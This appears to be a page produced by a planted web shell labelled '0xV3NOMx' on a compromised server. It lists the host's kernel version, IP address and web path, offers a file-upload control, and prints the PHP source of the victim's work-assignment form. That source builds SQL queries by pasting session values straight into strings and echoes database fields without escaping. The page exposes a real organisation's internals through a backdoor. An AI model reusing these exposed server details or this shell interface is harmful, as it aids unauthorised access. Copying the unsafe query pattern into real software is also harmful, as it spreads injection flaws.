0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.14.254.103


Current Path : /var/www/html/oums/
Upload File :
Current File : /var/www/html/oums/work_assign_form.php

<?php
include("src/sys_session.php");
include("src/sys_connect.php");
?>

<div id="page-container-form" class="form-horizontal">
    <div id="lblpagemode" class="page_mode"></div>
    <input type="hidden" id="txtpagemode" readonly="readonly" />
    <input type="hidden" id="txtworkcode" style="text-align:center; width:auto;" />
    <div class="panel panel-primary" style="width:1024px;margin-left:auto;margin-right:auto;">
        <div class="panel-heading">Assignment Details</div>
        <div class="panel-body" style="position: relative;">
            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Assignment ID</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-center" id="txtassncode" maxlength="10" placeholder="Assignment ID" disabled />
                </div>

                <label for="" class="col-sm-4 control-label">Assigned By</label>
                <div class="col-sm-4">
                    <input type="text" class="form-control" id="txtassnempl" maxlength="100" placeholder="Assigned By" disabled />
                </div>
            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Assigned To</label>
                <div class="col-sm-4">
                    <?php
                    if ($type_id == 'ADMIN') {
                        $mysql = "select * from masempl where femplcode<>'$empl_id' and fempltype='P' and femplstat='T' and ifnull(fusercode,'')<>'' order by femplname";
                    } else {
                        $mysql = "select * from masempl where femplcode<>'$empl_id' and fempltype='P' and femplstat='T' and frepthead='$empl_id' order by femplname";
                    }
                    $myres = mysqli_query($mycon, $mysql);
                    echo "<select id='txtworkempl' name='txtworkempl' class='form-control'>";
                    if (mysqli_num_rows($myres) > 1) {
                        echo "<option value=0>--Select--</option>";
                    }
                    while ($myrow = mysqli_fetch_assoc($myres)) {
                        $selected = "";
                        echo "<option value='$myrow[femplcode]' $selected>$myrow[femplname] [$myrow[femplcode]] [$myrow[fdeptcode]]</option>";
                    }
                    echo "</select>";
                    ?>
                </div>
            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Assignment Title</label>
                <div class="col-sm-10">
                    <input type="text" class="form-control" id="txtassnname" maxlength="100" placeholder="Assignment Title" />
                </div>
            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Assigned On</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-center text-uppercase" id="txtassndate" maxlength="10" placeholder="DD/MM/YYYY" onblur="work_date_check();" />
                </div>

                <label for="" class="col-sm-4 control-label">Due Date</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-center text-uppercase" id="txtlastdate" maxlength="10" placeholder="DD/MM/YYYY" onblur="work_date_check();" />
                </div>
            </div>

        </div>
    </div>


    <div class="panel panel-primary" style="width:1024px;margin-left:auto;margin-right:auto;">
        <div class="panel-heading">Assignment Status</div>
        <div class="panel-body" style="position: relative;">
            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Work Status</label>
                <div class="col-sm-4">
                    <input type="text" class="form-control text-uppercase" id="txtworkstat" disabled />
                </div>

                <label for="" class="col-sm-2 control-label">Updated On</label>
                <div class="col-sm-4">
                    <input type="text" class="form-control text-uppercase" id="txtworkdate" disabled />
                </div>

            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Review Status</label>
                <div class="col-sm-4">
                    <input type="text" class="form-control text-uppercase" id="txtviewstat" disabled />
                </div>

                <label for="" class="col-sm-2 control-label">Reviewed On</label>
                <div class="col-sm-4">
                    <input type="text" class="form-control text-uppercase" id="txtviewtime" disabled />
                </div>
            </div>
        </div>
    </div>
</div>